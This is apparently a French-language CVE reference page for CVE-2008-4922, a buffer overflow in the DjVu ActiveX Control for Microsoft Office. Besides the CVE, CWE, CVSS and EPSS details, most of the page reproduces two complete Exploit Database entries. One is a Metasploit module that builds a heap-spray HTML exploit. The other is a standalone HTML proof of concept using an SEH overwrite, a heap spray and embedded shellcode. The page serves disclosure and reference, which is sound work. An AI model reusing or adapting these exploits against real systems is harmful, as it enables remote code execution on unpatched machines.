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Descriptions du CVE
Buffer overflow in the DjVu ActiveX Control 3.0 for Microsoft Office (DjVu_ActiveX_MSOffice.dll) allows remote attackers to execute arbitrary code via a long (1) ImageURL property, and possibly the (2) Mode, (3) Page, or (4) Zoom properties.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 16638
Date de publication : 2010-09-24 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: djvu_imageurl.rb 10477 2010-09-25 11:59:02Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = LowRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in DjVu ActiveX Component. When sending an
overly long string to the ImageURL() property of DjVu_ActiveX_MSOffice.dll (3.0)
an attacker may be able to execute arbitrary code. This control is not marked safe
for scripting, so choose your attack vector accordingly.
},
'License' => MSF_LICENSE,
'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],
'Version' => '$Revision: 10477 $',
'References' =>
[
[ 'CVE', '2008-4922' ],
[ 'OSVDB', '49592' ],
[ 'BID', '31987' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
],
'DisclosureDate' => 'Oct 30 2008',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),
], self.class)
end
def exploit
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Create some nops.
nops = Rex::Text.to_unescape(make_nops(4))
# Set the return.
ret = Rex::Text.uri_encode([target.ret].pack('L'))
# Randomize the javascript variable names.
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
content = %Q|
<html>
<object id='#{vname}' classid='clsid:4A46B8CD-F7BD-11D4-B1D8-000102290E7C'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{nops}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 2024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.ImageURL = #{rand8};
</script>
</html>
|
content = Rex::Text.randomize_space(content)
print_status("Creating HTML file ...")
file_create(content)
end
end
Exploit Database EDB-ID : 6878
Date de publication : 2008-10-29 23h00 +00:00
Auteur : Shahriyar Jalayeri
EDB Vérifié : Yes
<!--
DjVu ActiveX Control ImageURL Property Overflow
From DjVu.org :
"DjVu (pronounced "d�j� vu") is a digital document format with advanced compression technology and high performance value.
DjVu allows for the distribution on the Internet and on DVD of very high resolution images of scanned documents,
digital documents, and photographs. DjVu viewers are available for the web browser, the desktop, and PDA devices."
vulnerability is in DjVu ActiveX Control 3.0 for Microsoft (r) Office ( DjVu_ActiveX_MSOffice.dll)
you can use heap spray to exploit this vulneability but I like to use this multiple technique ( SEH overwrite + Heap Spray )
oooo, there is also /SafeSEH OFF
other properties are also vulnerable ( Mode or maybe Page and Zoom )
-------------------------------------------------------------------------------------------------------------------------------------------------
{ special Tnx goes to my friends : str0ke , Amir Ashtiyani ,Alireza , Amir , Yashar , Vahid and all snoop members }
Shahriyar Jalayeri <Shahriyar.j // gmail // com >
Snoop Security Research committee < Snoop-security.com >
-->
<html>
<object id=boom classid="clsid:4A46B8CD-F7BD-11D4-B1D8-000102290E7C" ></object>
<input language=JavaScript onclick=Exploiter() type=button value="Launch Exploit">
<script>
// clac.exe
var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
var spraySlide = unescape("%u9090%u9090");
// address I use to jump ( ASCII Address )
var heapSprayToAddress = 0x0a0a0a0a;
var heapBlockSize = 0x400000;
var SizeOfHeapDataMoreover = 0x5;
var payLoadSize = (shellcode.length * 2);
var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;
var memory = new Array();
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return (spraySlide);
}
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
function Exploiter(){
var Buffer = 'A';
// this size of 'A' strings overwrite eip and it cause and exception so we jumt to seh handler
var BufferSize = 1684;
// Next seh handler never execute
var NextSehHandler = unescape("%90%90%90%90");
// now we jump to our address in sprayed heap block and the Shellcode get execute !
var SehHandler = unescape("%0a%0a%0a%0a");
while(Buffer.length<BufferSize) Buffer += Buffer;
Buffer = Buffer.substring(0,BufferSize);
boom.ImageURL = Buffer + NextSehHandler + SehHandler ;
}
</script>
</html>
# milw0rm.com [2008-10-30]
Products Mentioned
Configuraton 0
Djvu>>Activex_control_for_microsoft_office_2000 >> Version *
Microsoft>>Office >> Version 2000
- Microsoft>>Office >> Version 2000 (Open CPE detail)
- Microsoft>>Office >> Version 2000 (Open CPE detail)
- Microsoft>>Office >> Version 2000 (Open CPE detail)
- Microsoft>>Office >> Version 2000 (Open CPE detail)
- Microsoft>>Office >> Version 2000 (Open CPE detail)
- Microsoft>>Office >> Version 2000 (Open CPE detail)
- Microsoft>>Office >> Version 2000 (Open CPE detail)
Références
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC)
sont maintenues par MITRE Corporation, et les informations sur les configurations
logicielles et matérielles (CPE) proviennent du NVD.